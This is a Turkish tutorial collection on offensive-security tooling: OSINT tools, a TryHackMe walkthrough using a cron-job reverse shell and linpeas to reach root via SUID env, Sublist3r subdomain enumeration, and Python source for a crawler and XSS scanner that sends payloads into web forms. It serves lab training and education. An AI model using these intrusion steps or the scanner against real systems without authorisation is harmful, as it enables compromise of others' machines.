<figure><img src="/files/1rUEpTogOMjKQds1Ig9m" alt="" width="570"><figcaption></figcaption></figure>

Zone-H web sitelerinin hacklenmesi veya birtakım siber saldırılara maruz kalması somucunda oluşan index basma gibi sonuçları kayıt altına alıp oluşturulan arşiv sitesidir. Bu site, siber güvenlik uzmanları ve araştırmacılar tarafından incelenen ve analiz edilen birçok saldırı örneğini içermektedir.

### 4. IP & MAC Adresleri

<figure><img src="/files/9HhlHHvm500NjxQYUZsN" alt="" width="570"><figcaption></figcaption></figure>

Bu kategoride IP adresinden lokasyon tespiti, host ya da port keşfi, IP üzerinden sitenin zararlı olup olmama durumunun tespiti, sitenin blacklistlerde yer alıp almama durumunun tespiti, aynı IP'yi paylaşan domainlerin keşfi, Bulut sistemiyle korunan sistemlerin tespiti, SSID üzerinden kablosuz ağ bilgisi, ağ analizi ve IP logger yapmayı sağlayan araçlar bulunmaktadır.

1. IP Adresi Üzerinden Lokasyon Tespiti

Birçok internet hizmeti veren firma IP adreslerini lokasyon bilgileriyle veritabanlarında kaydeder. Bu sayede internet hattının bulunduğu yaklaşık konumu çekebilmek mümkündür. Capture the Flag yarışmalarında bu toollar sık sık kullanılır.

<figure><img src="/files/aHOOkNXfJbZ4h0B4oIkz" alt="" width="570"><figcaption></figcaption></figure>

Yukarıda "sibervatan.org"a ait CloudFlare IP adresi aratıldığında sunucunun ABD'nin California eyaletinde bulunan San Francisco şehrinde bulunduğunu görülmektedir. Pentestlerde sosyal mühendislik için önemli bir bilgi kaynağı olabilmektedir. Bu bilgi sayesinde phising saldırıları inandırıcılığı artırmak adına özelleştirilebilir.

2. Host ya da Port Keşfi

Ağdaki cihazlara doğrudan istekler gönderilerek cevaplara göre açık portları keşfetmek mümkündür. Bu görevi sağlayan araçlar TCP veya UDP bağlantıları gibi ağ protokolleri üzerinden cihazlara paketler gönderir ve dönen cevaplara göre analizler sonucunda açık portlar belirlenir. NMAP bu konuda çok sık -kanaatimce en sık- kullanılan araçlardan biridir.

<figure><img src="/files/2pyQD2jOnPz1meQdaI2E" alt="" width="570"><figcaption></figcaption></figure>

Basit bir nmap taraması -tooldaki hiçbir flag'i kullanmadan yapılan bir tarama- yaygın olarak kullanılan portlarda çalışan servisleri belirler. Tarama sonucunda açık portlar, bu portlarda çalışan servisler ve bazı temel istatistikler bulunur. Bazı özel flagler sayesinde arama özelleştirilip servis sürümü, işletim sistemi, ağ topolojisi gibi bilgilere ulaşmak mümkündür.

### 5. Arşivler

<figure><img src="/files/ybVLrrDWPE8RXemEvG9w" alt="" width="570"><figcaption></figcaption></figure>

"Arşivler" kategorisinde web arşivleri, sızdırılan verileri, halka açık dataları, geçimişteki kayıtları bulmak mümkündür. Bu kategorinin önemli toollarından olan "Wayback Machine"den bahsetmek en doğrusu olacaktır.

Wayback Machine bir tür internet arşividir. Çevrim içi bulunan içeriklerin geçmiş versiyonlarını saklar. Bu araç, web sitelerinin farklı zamanlardaki durumlarını kaydederek, internetin evrimini izleme ve geçmişteki içeriğe erişim sağlama amacını taşır.

Pentestlerde bir web sitesinin geçmişdeki versiyonları izlenerek eski güvenlik zafiyetleri tespit edilebilir, eski kodlar okunarak kod analizi yapılabilir, zayıf bağlantı noktaları tespit edilebilir, saldırı senaryoları oluşturulabilir.

<figure><img src="/files/yqTinDF9a6NKHqzohDR3" alt="" width="570"><figcaption></figcaption></figure>

<figure><img src="/files/codCfImyvWhZd3rGu1xC" alt="" width="570"><figcaption></figcaption></figure>

"sibervatan.org"a ait kayıtlara bakıldığında ilk kaydın 10 Mart 2019 tarihinde girildiği ve sitenin yapım aşamasında olduğu görülmektedir. 21 Mart 2020 tarihinde ise sitenin kullanılmaya başlandığı görülmektedir. Bu tarz kayıtlar incelenerek site hakkında bilgi toplanabilir.

### 6. Metadata

<figure><img src="/files/dqIzn7AyYdpWz9sclbqU" alt="" width="570"><figcaption></figcaption></figure>

Metadata kategorisinde dijital dosyaların içinde saklanan meta verilerini toplamak ve analiz etmek için kullanılabilecek araçları barındırır. Bu verilerde dosyanın oluşturulma zamanı, düzenleme zamanı, dosya türü, oluşturulan cihazın bilgileri gibi bilgileri barındırır.

<figure><img src="/files/XS947Dc19rD0vow9ZnPv" alt="" width="570"><figcaption></figcaption></figure>

Bu kategoride sıkça kullanılan exiftool'dan bahsedilecek olursa "ExifTool" metadatadaların incelenmesini ve düzenlenmesini sağlayan bir araçtır. Çeşitli dosya formatlarını desteklemektedir. Resim dosyalarında EXIF (Exchangeable Image File Format) adı verilen metadata dosyası bulunur. Bu dosya resim dosyasının oluşturulma tarihi, kamera modeli, pozlama ayarı, GPS koordinatları gibi bilgileri bulundurur. ExifTool bu dosyaları okuyup ilgili bilgileri çekip analiz ederek kullanıcıya sunar.

GPS koordinatları veya IP adresi gibi hassas bilgilerin bulunması pentest işlemlerinde işe yarayabilmektedir. Aynı zamanda sahte veya manipüle edilmiş fotoğrafların tespiti için de kullanılabilmektedir.

### 7. Encoding / Decoding

<figure><img src="/files/0dfm4LTSTtmCwoykVzvy" alt="" width="570"><figcaption></figcaption></figure>

Bu kategoride encode ve decode işlemleri yapılabilen araçlar yer almaktadır.

<figure><img src="/files/Ouz2MKi3GdL0NP79XHEY" alt="" width="570"><figcaption></figcaption></figure>

Encoding, bir bilgiyi belirli bir formata uygun olarak dönüştürme işlemidir. Bu işlem veriyi saklama veya güvenli veri aktarımında kullanılmaktadır. Birçok encode yöntemi bulunmaktadır.

Decoding, encode edilmiş bilgiyi orijinal hâline getirme işlemidir. Bu işlem bilgilerin alındığı veya depolandığı alanda gerçekleşmektedir.

Pentestlerde şifreli verilerin analizi, injection saldırıları, iletişim güvenliği, firewall testleri için encoding / decoding tooları kullanılmaktadır.

<figure><img src="/files/Ir2OX23xTucEcXsfrak4" alt="" width="570"><figcaption></figcaption></figure>

CyberChef birçok veri formatını manipüle etmek ve dönüştürüp analiz etmek için kullanılan açık kaynaklı bir araçtır. Veri dönüşümü, veri analizi, kriptografi, metin işleme, veri görselleştirme gibi amaçlara hizmet etmektedir. Esnek ve kullanıcı dostu arayüzü sayesinde sık sık tercih edilen araçlardan biridir.

<figure><img src="/files/owisBQLcGBZYiDnC00lv" alt="" width="570"><figcaption></figcaption></figure>

Elimizde "WWF2dXpsYXIgQm9vaw==" bu şekilde bir şifreli metin olduğu varsayılsın. Bu metnin hangi şifreleme türüyle şifrelendiği bilinmediğinden birçok kez şifreleme türlerini denemek gerekecektir. Ancak CyberChef'teki "Magic" kategorisi sayesinde bu deneme işlemini sıfıra indirmek mümkündür.

Yukarıdaki görselde de göründüğü üzere input alanına şifreli metni ve recipe kısmına magic operasyonunu sürükleyip bırakırsak output kısmında girilen şifrenin hangi şifreleme türü ile şifrelendiği ve sonucunda ne çıktığı bilgisini alabilmekteyiz.

Uzun süre encode / decode işlemlerini yapmış kişiler bir süreden sonra kodun hangi şifreleme türüyle şifrelenmiş olabileceğini rahatlıkla tahmin edebiliyor olsalar da siber güvenliğe yeni başlayan kişiler için CyberChef hayat kurtarıcı bir araç olabilmektedir.

### 8. Zararlı Dosya Analizi

<figure><img src="/files/4jxjguj5tFAYgzySnjAQ" alt="" width="570"><figcaption></figcaption></figure>

Zararlı dosya analizi, kötü amaçlı yazılımları tanımak, analiz etmek için yapılan bir süreçtir.

<figure><img src="/files/KyeM8Kb4HLWkIFpqjO6y" alt="" width="570"><figcaption></figcaption></figure>

Bu kategorinin sık sık tercih edilebilen araçlardan biri "VirusTotal"dir. Dosya, URL, IP adres, domain veya dosya hash'i tarayarak verilen girdiyi birtakım antivirüs programlarında taratarak çıkan sonuçları listelemektedir. VirusTotal %100 doğru sonuç vermese de ön bilgi verebiliyor oluşundan tercih edilmektedir.

<figure><img src="/files/S4R7VhSGZw8yvQWLst3V" alt="" width="570"><figcaption></figcaption></figure>

Daha önceden CTF olarak çözdüğüm bir dosyayı VirusTotal'e attığımda 67 antivirüs programı arasından 2 tanesi zararlı yazılım olarak gördüğü görülmektedir.

<figure><img src="/files/MShj7L3oz2LCkSkxQac4" alt="" width="570"><figcaption></figcaption></figure>

"Details" sekmesine gidildiğinde bir malware için yapılan statik analizde kullanılması gereken hemen hemen her bilgiyi içermektedir. Bu bilgiler reverse engineering ile uğraşan kişiler için dosya hakkında ön fikir almalarına yardımcı olabilmektedir.

### 9. Exploitler

<figure><img src="/files/ph7UfygEpNQ9LVwL6Ctd" alt="" width="570"><figcaption></figcaption></figure>

Exploit, genellikle bir bilgisayar veya yazılımın güvenlik açığını kullanarak istenmeyen veya zararlı faaliyetlerde bulunmak için hazırlanan kod parçalarını ifade etmektedir. Bu açıklarla bir yazılımın veya işletim sisteminin beklenmedik şekilde davranmasına veya izinsiz erişimlere olanak tanımaktadır.

Bu kategoride internete çıkan cihazların veya yazılımların default username ve password bilgileri, exploit veritabanları, exploitlerin CVE detayları, OWASP bilgileri, anlık yayımlanan 0day açıkları gibi bilgilerin yer aldığı arşivler bulunmaktadır.

<figure><img src="/files/3XlhBEXylDxJjm0EYW0a" alt="" width="570"><figcaption></figcaption></figure>

ExploitDB, exploitlerin bulunduğu bir veritabanıdır. Bu veritabanı çeşitli bilgisayar yazılımlarında ve işletim sistemlerinde bulunan güvenlik açıklarına ilişkin bilgileri barındırmaktadır. Pentestlerde sıkça kullanılan bir kaynaktır.

Arama kısmından saldırmak istenen yazılımın adını ve sürüm bilgisini girildiğinide o sürümde olan bir exploit olup olmadığını kontrol etmek mümkündür. Yer alan zaafiyete göre saldırı planları oluşturmakta işe yaramaktadır.

{% embed url="<https://github.com/sudebozkurt>" %}
Bu yazı Sude BOZKURT tarafından hazırlanmıştır.
{% endembed %}


# PEASS-ng

<figure><img src="/files/qEPltPEMWtU4jpyx1AN8" alt=""><figcaption></figcaption></figure>

Peass (Privilege Escalation Awesome Scripts SUITE - new generation), Windows ve Linux/Unix\* ve MacOS için ayrıcalık yükseltme araçlarıdır. Bu araçlar, yararlanabileceğiniz olası yerel ayrıcalık yükseltme yollarını arar ve bunları size güzel renklerle yazdırır, böylece yanlış yapılandırmaları kolayca fark edebilirsiniz. Nmap, dirb gibi makine hakkında bilgi toplamak için kullanılır. Genellikle netcat ile reverse shell aldıktan sonra bilgisayarımızdan bir python http.server başlatarak saldırdığımız makinedeki işletim sistemine göre uygun peas'i atarız. Peas'imizi "chmod +x linpeas.sh" komutundaki gibi yetkilendirir ve çalıştırırız. Sonrasında, çıktıdaki yazıların renklerine göre nerede zafiyet olabileceğini ve peass'in bize önerdiği muhtemel exploitleri görürüz.

<figure><img src="/files/7UZl5QvUBIJAymi8IASY" alt=""><figcaption></figcaption></figure>

Kırmızı/Sarı rengi %99 ihtimalle bir PE (Privilege Escalation) yani yetki yükseltme vektörü olduğunu belirtir. Kırmızı renkler, en az bir kez bakmamız gereken zafiyet çıkabilecek yerleri gösterir. Açık mavi, mavi ve yeşil renkleri genellikle işimize yaramayan sıradan şeyleri gösterir. "LightMagenta" yazan eflatuna yakın beyaz renk ise bizim, yani saldırganın bilgilerini içerir.

<figure><img src="/files/gxH8NMl1qDEGHNUlfLj5" alt=""><figcaption></figcaption></figure>

## Anonymous: TryHackMe Box

Peass, çözüme giden yolda işlerimizi kolaylaştıran ve bizi bir adım ileriye götüren bir araç olduğu için kullanımını TryHackMe'de bulunan "Anonymous" isimli makineyi çözerek anlatmak istiyorum. Bu makineyi çözerken ayrıca nmap ve wget araçlarını, dosya gönderim protokolünü (FTP) ve SUID PE komutlarını kullanacağız.

{% embed url="<https://tryhackme.com/room/anonymous>" %}

### Nmap ile Port Taraması

<figure><img src="/files/dbSxXB0JHFg1fZnSXYdf" alt=""><figcaption></figcaption></figure>

Nmap ile port taraması yaptığımızda 21, 22, 139 ve 445 portlarının açık olduğunu gördük. Özellikle bu portlarda bir zafiyetin olup olmadığını öğrenmek için aşağıdaki aramayı yapalım.

<figure><img src="/files/CxBDIidyOHNlKr5t1dZj" alt=""><figcaption></figcaption></figure>

İkinci nmap taramasında anonymous:anonymous bilgileri ile FTP'ye bağlanabileceğimizi gördük.

### FTP Bağlantısı ve Dosya Yükleme

<figure><img src="/files/w9NN3IRCtmmrpI7WzeIn" alt=""><figcaption></figcaption></figure>

FTP'ye başarılı bir şekilde bağlandıktan sonra, tüm kullanıcılar için okuma, yazma ve çalıştırma yetkilerine sahip bir "scripts" dosyasının olduğunu gördük. İçine girdiğimizde bizi üç yeni dosya karşılıyor. Haydi, bunları indirelim ve ne olduklarına bakalım.

<figure><img src="/files/71JkrR4CK8VONCeSolyo" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bc0tZlDUQ7sSzL1KZ8Yi" alt=""><figcaption></figcaption></figure>

"to\_do.txt" dosyası bilgisayar sahibinin kendine aldığı notları içeriyor gibi görünüyor. Araştırmaya devam edelim.

<figure><img src="/files/cKEBmffup2am1Sd63HLj" alt=""><figcaption></figcaption></figure>

"removed\_files.log" dosyası, bir Cronjob'unun loglarını tutuyormuş gibi görünüyor. Cronjob'unun çalıştırdığı dosyanın "clean.sh" olabileceğini düşünüyorum. Hadi doğrulamak için dosyanın içine göz atalım.

<figure><img src="/files/2BhNlVybc9dQfgwPUM5l" alt=""><figcaption></figcaption></figure>

Bingo! "removed\_files.log" dosyasının içindeki bildirimler bu dosya ile bağlantılı olduğunu gösteriyor. Cronjob'unun belirli bir zaman geçtikten sonra bu dosyayı çalıştıracağını biliyoruz. FTP içerisinde "clean.sh" dosyasının tüm kullanıcılar için yazma ve çalıştırma yetkisine sahip olduğunu öğrenmiştik. Bu dosya içerisine eğer reverse shell kodu yüklersek, Cronjob dosyayı çalıştırdığında sistemi netcat ile dinleyebiliriz.

<figure><img src="/files/9Bx9zlIw3LLdmkGIcxYw" alt=""><figcaption></figcaption></figure>

TryHackMe'nin bana verdiği IP adresini girerek, kurbanın benim bilgisayarımındaki 6060 portuna bağlanmasını sağlayacak kodu 'clean.sh' dosyası içine yazdım.

<figure><img src="/files/6PPlwSpd7pzHGVbPa8tK" alt=""><figcaption></figcaption></figure>

Yeni oluşturduğum dosyayı FTP ile yüklemeden önce 6060 portunu dinliyorum.

<figure><img src="/files/zVYRw8lNIzxv5PeAyWtb" alt=""><figcaption></figcaption></figure>

Dinleme işlemi sürerken başka bir terminal açarak FTP'ye bağlanıyorum ve yeni 'clean.sh' dosyasını yüklüyorum.

### NetCat ve Wget

<figure><img src="/files/5wnfyizO2a20VtMoeXyK" alt=""><figcaption></figcaption></figure>

Aradan bir süre geçtikten sonra dinlediğim 6060 portu üzerinden makineye bağlanıyorum.

<figure><img src="/files/HdMfONOa5wZyc8ZREb38" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/carlospolop/PEASS-ng/tree/master>" %}

Şimdi yeni bir terminal açarak Linpeas'in bulunduğu dizine gittim. Bu sırada bir HTTP serverı ayağa kaldırarak netcat ile dinlediğim makineye 'linpeas.sh' dosyasını yükleyeceğim.

<figure><img src="/files/qlrYmPxhIQQ3I28sYfLX" alt=""><figcaption></figcaption></figure>

wget yardımı ile IP adresimi ve açtığım 9000 portu üzerinden 'linpeas.sh' dosyasını makineye yükledim.

### Linpeas ve SUID

<figure><img src="/files/HUxgnpyK5Jrwn97p5nWR" alt=""><figcaption></figcaption></figure>

"chmod +x linpeas.sh" komutu ile scriptimi yetkilendirdim ve çalıştırdım. Şimdi gelen sayfalarca çıktının birazını inceleyelim.

<figure><img src="/files/AxOPYvc0SfGKjBGdORvr" alt=""><figcaption></figcaption></figure>

Sistem hakkında bazı bilgileri elde ettik. Sudo versiyonunda bir zafiyet olabileceği için kırmızı ile yazılmış. İncelemeye devam edelim.

<figure><img src="/files/kP9t5mpZoZU3bVJuNtS4" alt=""><figcaption></figcaption></figure>

Bize muhtemel zafiyetlerin CVE numaralarını verdi. İncelemeye devam edelim.

<figure><img src="/files/mFqLbAlC5pkrXTbKFX1Z" alt=""><figcaption></figcaption></figure>

Bize "/env" dizininde %99 ihtimalle bir SUID yetki yükseltme açığı olabileceğini belirtti. Bunun için GTFOBins sitesinden yararlanabiliriz.

{% embed url="<https://gtfobins.github.io/#+suid>" %}

<figure><img src="/files/yqGzgqG1ThHYClRx2MjI" alt=""><figcaption></figcaption></figure>

Uygun kodu GTFOBins'de bulduk.

<figure><img src="/files/VhMFWWXfpUJDRogaxpxd" alt=""><figcaption></figcaption></figure>

Kodu ilk denediğimde "./env bulunamadı" hatası aldım. "whereis env" yazarak "/env" dosyasının yolunu öğrendim ve SUID kodunu düzelterek tekrar yazdım. İkinci denememde başarılı bir şekilde root yetkilerine eriştim.

<figure><img src="/files/vX6CITSK9lxxyOfQc30y" alt=""><figcaption></figcaption></figure>

Root yetkileri ile TryHackMe'nin bizden istediği iki flag'i buldum. "/home/namelessone" dizini altında başka bir sorunun cevabı bulunuyor. Yazımda anlattığım adımları uygulayarak sorunun cevabına ulaşabilirsiniz.

{% embed url="<https://github.com/BerkayAtass>" %}
Bu yazı Berkay ATAŞ tarafından hazırlanmıştır.
{% endembed %}


# Sublist3r

## Sublist3r Aracı Ne Yapar ?

Sublist3r, OSINT kullanarak web sitelerinin alt alan adlarını sıralamak için tasarlanmış bir Python aracıdır. Penetrasyon testçilerine ve hata avcılarına, hedefledikleri alan adı için alt alan adlarını sıralama ve toplama konusunda yardımcı olur. Google, Yahoo, Bing, Baidu ve Ask gibi birçok arama motorunu kullanarak alt alan adlarını toplar. Ayrıca Sublist3r(PassiveDNS), Netcraft, Virustotal, ThreatCrowd, DNSdumpster, CrtSearch ve araçlarını kullanarak da alt alan adlarını sıralar.

Subbrute aracı Sublist3r ile entegre edilerek, daha gelişmiş bir kelime listesiyle brute force kullanarak daha fazla alt alan adı bulma olasılığını artırmak için Sublist3r aracının içerisinde kullanılıyor.

## Subdomain(Alt Alan Adı) Nedir ?

Subdomain alan adınızın altına oluşturabildiğiniz fakat birincil alan adınızdan bağımsız bir şekilde çalışabilen alan adı özelliğidir. Birincil alan adından önce gelecek şekilde birlikte yazılırlar. Özetle bir web sitesindeki farklı içerik alanları için oluşturulan web adreslerinden oluşur.

## Siber Güvenlikte Subdomain Keşfinin Önemi

Bir hedefi değerlendirirken, subdomainler genellikle geniş bir yüzey sunar. Ana domainin ötesinde, farklı servisler, uygulamalar veya sistemler subdomainler aracılığıyla erişilebilir olabilir. Bu da saldırı yüzeyini genişletir ve potansiyel zayıf noktaları ortaya çıkarabilir.

## Sublist3r Nasıl Çalışıyor ?

Sublist3r, bazı popüler arama motorlarından faydalanarak subdomainleri toplar. Bu işlemi yapmak için tarayıcıların Search Engine Dork dediğimiz kavramından faydalanıyor. Search Engine Dork dediğimiz kavram arama motorlarının filtrelenmiş aramalar yapılmasına yardımcı olacak sorgu kalıplarıdır.

Örnek olarak Yahoo arama motorundan alt alan adlarını nasıl çıkardığını inceleyelim:

<div align="left"><figure><img src="/files/QC2waDNUAusFmYbEyyUh" alt=""><figcaption></figcaption></figure></div>

* **Satır 326:** YahooEnum sınıfına ait base\_url değişkenine Yahoo arama motoruna ait search uç noktasına yapılan ve bazı parametreleri içeren bir istek daha sonra formatlanmak üzere yazılmıştır.

<div align="left"><figure><img src="/files/61BD68Tlk9I08ij5zTS0" alt=""><figcaption></figcaption></figure></div>

* **Satır 366 ve Satır 370:** Bu satırlarda bir search engine dork formatlanacak şekilde tanımlanmıştır. Formatlandıktan sonra satır 326 da tanımladığımız base\_url değişkenimizin içeriğindeki {query} ile seçilmiş olan kısıma yazılma işlemi gerçekleşecektir.
* **Satır 334-356:** Bu blokta yazılmış olan fonksiyonun yaptığı işlem Yahoo arama motoruna yaptığımız istekten dönen yanıtı işlemektir. Response üzerinden regex kütüphanesinden faydalanılarak domainler çıkartılmaktadır.

Bu şekilde doğrudan bir web scrapping kütüphanesi kullanılmadan search engine dorks kullanılarak yapılan isteğin cevabından domainler regex yardımı ile ayrıştırılmaktadır. Araç burada doğrudan alt alan adlarını ayrıştırmıyor birincil domain ve top level domain kısımlarını da dahil ediyor.

Diğer tüm arama motorları içinde temel olarak aynı yaklaşım izlenmiştir. Doğal olarak base\_url değişkenleri ve düzenli ifadeler üzerinde değişiklikler yapılmıştır.

Sublist3r arama motorları dışında yazımızın başında bahsetmiş olduğumuz bazı araçlardan yardım alıyor. Subdomain keşfi için yardımcı araçların servislerinden doğrudan veya dolaylı olarak faydalandığını söyleyebiliriz. Asıl veya yan amacı subdomain keşfi olmayan araçlarında sublist3r aracının kullandığı araçlara dahil olduğunu görüyoruz bunun nedeni ise bu araçlar dolaylı olarak alt alan adı sağlamakta.

Asıl amacı ilgili domaine ait güncel veya geçmiş SSL/TLS sertifikaları hakkında bilgi sunmak olan crt.sh üzerinden örnek verecek olursak:

<div align="left"><figure><img src="/files/oyD9lG0QccAoywKy2hkk" alt=""><figcaption></figcaption></figure></div>

* **Satır 768**: Aracın diğer sınıflarında da olduğu gibi istek yapılacak olan uygulamanın adresi base\_url değişkeninde sorgumuzla birlikte formatlanmak üzere tutuluyor.
* Sonrasında ise bir istek yapılıyor ve response üzerinden regex yardımı ile domainler ayrıştırılıyor.

<figure><img src="/files/9Hcelmy2yb7M8wrJOs0S" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/HyWrew6HPvR97UkdUu5G" alt=""><figcaption></figcaption></figure>

* Görselde gözüktüğü üzere books, docs ve www alt alan adlarına güncel olarak sahip olabileceği bilgisine bu araç sayesinde erişebildik.

Sublist3r aracı pasif tarama işlemlerini bu yöntemlerle gerçekleştiriyor. Kullanıcının isteğine bağlı olarak yazımızın başında da bahsettiğimiz gibi ilgili hedefle doğrudan etkileşime girecek şekilde brute force kullanabiliyor.

## Sublist3r Nasıl Kullanılır ?

[Sublister](https://github.com/aboul3la/Sublist3r) aracını edindikten sonra kullanımı aşağıdaki anlatıldığı gibi yapılabilir.

<figure><img src="/files/T7sQqxPh4yEHhyO71CJH" alt=""><figcaption></figcaption></figure>

* -d parametresi ile listelenmesi istediğimiz Alan adını (hedef) belirtiyoruz.
* -b parametresi ile subbrute aracından sağlanan brute force modülünü aktif ediyoruz.
* -p parametresi ile bulunan alt alan adlarından sadece belirtilen TCP portları açık olan alt alan adlarını döndürür.
* -v parametresi ile araç çalışırken ekrana ekstra anlamlı (detaylı) çıktılar basar.
* -t parametresi ile aracın brute force modu açıkken ne kadar thread kullanacağını belirtiriz.
* -e parametresi ile arama yaparken kullanılmasını istediğimiz servisleri beliriyoruz. Sadece arama motorlarını kastetmiyor crt.sh ve Virustotal uygulamaları da bu belirtmeye dahildir.
* -o parametrei ile çıktımızı bir dosyaya kayıt eder.
* -h parametresi ile ekrana yardım mesajını basar.

### **Örnek Kullanımlar**

<figure><img src="/files/BH82o1hvcIYgGJ4QJ3Re" alt=""><figcaption></figcaption></figure>

* Görselin en alt kısmında 3 tane subdomain keşfini görüyoruz.

<figure><img src="/files/Y3rX0IYoafZl7faNHaqB" alt=""><figcaption></figcaption></figure>

* -p parametresi ile yapılmış bir örnek sonucunda ilgili domaine ait 2 tane subdomainin aktif web servisi olduğunu düşünüyoruz.

<figure><img src="/files/hdRBXFPIp69OAkZo9pAg" alt=""><figcaption></figcaption></figure>

* -e parametresi ile sadece google, yahoo ve crt.sh uygulamaları üzerinden subdomain keşfi yaptık.

<figure><img src="/files/LjkxfqYALQGZZcyjSqgR" alt=""><figcaption></figcaption></figure>

* -o parametresi ile belirttiğimiz dosyaya aracın çıktısını yazdırdık.

{% embed url="<https://github.com/pavowax>" %}
Bu yazı Dinçer Güner tarafından hazırlanmıştır.
{% endembed %}


# XSS Scanner

## XSS Nedir?

Cross-Site Scripting (XSS), bir bilgisayar korsanının diğer kullanıcılar tarafından görüntülenen web sayfalarına istemci tarafı komut dosyası enjekte etmesine olanak tanıyan bir tür bilgisayar güvenlik açığıdır. Kötü niyetli komut dosyası genellikle JavaScript ve HTML gibi istemci tarafı programlama dillerinde yazılır. XSS, kullanıcıların güvenliğini tehlikeye atan ve web uygulamalarını savunmasız bırakan bir tehdittir.

<figure><img src="/files/kGDw8OX9isTnX8GbfKzb" alt="" width="500"><figcaption></figcaption></figure>

## Proje Genel Bakış

Bu projede iki temel bileşen olan bir web crawler ve bir XSS tarayıcısından oluşur. Web crawler belirtilen bir web sitesini keşfeder, ilgili URL'leri yakalar ve bu URL'leri XSS tarayıcısına ileterek tarama yapar. XSS tarayıcısı, her URL'yi önceden tanımlanmış saldırı yükleriyle sistemli bir şekilde test ederek potansiyel güvenlik açıklarını tespit eder.

## Gereksinimler

* `requests`: Bu kütüphane HTTP isteklerini yönetmek için kullanılır.
* `BeautifulSoup`: HTML içeriğini ayrıştırmak için kullanılır.
* `urllib3`: SSL sertifikası uyarılarını bastırmak için kullanılır.
* `pprint`: Veri yapılarını düzenli bir şekilde görüntülemek için kullanılır.

Bu kütüphaneleri aşağıdaki komutları kullanarak yükleyebilirsiniz:

```
pip install requests beautifulsoup4 urllib3 pprint
```

## Kod Anlatımı

Projemiz iki temel sınıf içerir: `UrlCrawler` ve `XssScanner`.

### UrlCrawler Sınıfı

`UrlCrawler` sınıfı, bir web sitesini keşfetmeye ve ilgili URL'leri kaydetmeye odaklanır.

```python
class UrlCrawler:
    def __init__(self, base_url, max_depth=10, max_retries=3, retry_delay=5, timeout=10):
        self.base_url = base_url
        self.max_depth = max_depth
        self.max_retries = max_retries
        self.retry_delay = retry_delay
        self.timeout = timeout
        self.visited_urls = set()  
        self.urls_to_visit = [(self.base_url, 0)]  
        self.relevant_urls = set()  
        self.script_dir = os.path.dirname(os.path.abspath(__file__))
        self.output_file = os.path.join(self.script_dir, "url.txt")
        
    def clear_output_file(self):
        
        with open(self.output_file, "w") as f:
            pass
    
    def crawl_and_record_urls(self):
        self.clear_output_file()  
        
        while self.urls_to_visit:
            current_url, depth = self.urls_to_visit.pop(0)
            if current_url in self.visited_urls or depth > self.max_depth:
                continue
            self.visited_urls.add(current_url)
            if not current_url.startswith(self.base_url):
                continue
            retries = 0
            while retries < self.max_retries:
                try:
                    
                    response = requests.get(current_url, timeout=self.timeout, verify=False)
                    if response.status_code == 200:
                        soup = BeautifulSoup(response.text, 'html.parser')
                        with open(self.output_file, "a") as f:
                            f.write(current_url + '\n')
                            self.relevant_urls.add(current_url)
                        for link in soup.find_all('a'):
                            new_url = urljoin(current_url, link.get('href'))
                            if new_url.startswith(self.base_url):
                                self.urls_to_visit.append((new_url, depth + 1))
                        break
                except (requests.exceptions.RequestException, TimeoutError) as e:
                    print(f"Hata: {current_url} işlenirken hata oluştu: {e}")
                    retries += 1
                    time.sleep(self.retry_delay)
            if retries == self.max_retries:
                print(f"{current_url} adresi {self.max_retries} tekrar denemeden sonra işlenemedi")

        print("Bulunan ilgili URL'ler:")
        for url in self.relevant_urls:
            print(url)
```

### Adım adım bakalım:

* **Başlatma:** Sınıf, temel URL, maksimum derinlik, yeniden deneme yapılandırmaları vb. gibi parametrelerle başlatılır.
* **Keşif ve URL'leri Kaydetme:** `crawl_and_record_urls()` yöntemi, keşif sürecini yönetir. Ziyaret edilecek URL'lerin bir sırasını korur ve ziyaret edilen URL'leri izler. Bu URL'lere HTTP istekleri yapılır ve HTML içeriği `requests` kütüphanesi kullanılarak çıkarılır.
* **Bağlantıları Ayrıştırma:** İçerik alındığında, `BeautifulSoup` kütüphanesi HTML içeriğindeki tüm bağlantıları `(<a> etiketleri)` çıkarmanıza yardımcı olur. Bu bağlantılar temel URL ile birleştirilerek daha fazla keşif için yeni URL'ler oluşturulur.
* **Yeniden Deneme Mekanizması:** Yeniden Deneme Mekanizması: Kod, bağlantı hatalarını zarif bir şekilde ele almak için bir yeniden deneme mekanizması içerir. Bir istek başarısız olursa, sistem belirtilen sayıda yeniden deneme yapmadan önce bekler.
* **Çıktı:** İlgili URL'ler, `url.txt` adlı bir metin dosyasında saklanır.

### XssScanner Sınıfı

`XssScanner` sınıfı, saldırı yükleri kullanarak XSS açıklarını tespit etmeye odaklanır.

```python
class XssScanner:
    COLOR_RED = '\033[91m'
    COLOR_GREEN = '\033[92m'
    COLOR_YELLOW = '\033[93m'
    COLOR_END = '\033[0m'

    def __init__(self):
        self.vulnerabilities = []  

    def print_fail(self, message):
        print(f"{self.COLOR_RED}[!] {message}{self.COLOR_END}")

    def print_success(self, message):
        print(f"{self.COLOR_GREEN}[+] {message}{self.COLOR_END}")

    def print_info(self, message):
        print(f"{self.COLOR_YELLOW}[*] {message}{self.COLOR_END}")

    def get_all_forms(self, url):
        soup = BeautifulSoup(requests.get(url).content, "html.parser")
        return soup.find_all("form")

    def get_form_details(self, form):
        details = {}
        action = form.attrs.get("action", "").lower()
        method = form.attrs.get("method", "get").lower()
        inputs = []
        for input_tag in form.find_all("input"):
            input_type = input_tag.attrs.get("type", "text")
            input_name = input_tag.attrs.get("name")
            inputs.append({"type": input_type, "name": input_name})
        details["action"] = action
        details["method"] = method
        details["inputs"] = inputs
        return details

    def submit_form(self, form_details, url, payload):
        target_url = urljoin(url, form_details["action"])
        inputs = form_details["inputs"]
        data = {}
        for input in inputs:
            if input["type"] == "text" or input["type"] == "search":
                input["value"] = payload
            input_name = input.get("name")
            input_value = input.get("value")
            if input_name and input_value:
                data[input_name] = input_value
        self.print_info(f"[*] Payload {target_url} adresine gönderiliyor")
        self.print_info(f"[*] Veri: {data}")
        if form_details["method"] == "post":
            return requests.post(target_url, data=data)
        else:
            return requests.get(target_url, params=data)

    def scan_xss(self, url, payload):
        forms = self.get_all_forms(url)
        self.print_info(f"[*] {url} adresinde {len(forms)} form tespit edildi.")
        is_vulnerable = False
        for form in forms:
            form_details = self.get_form_details(form)
            content = self.submit_form(form_details, url, payload).content.decode()
            if payload in content:
                self.print_success(f"[+] {url} adresinde XSS tespit edildi")
                ##self.print_info("[*] Form ayrıntıları:")
                #pprint(form_details)
                is_vulnerable = True
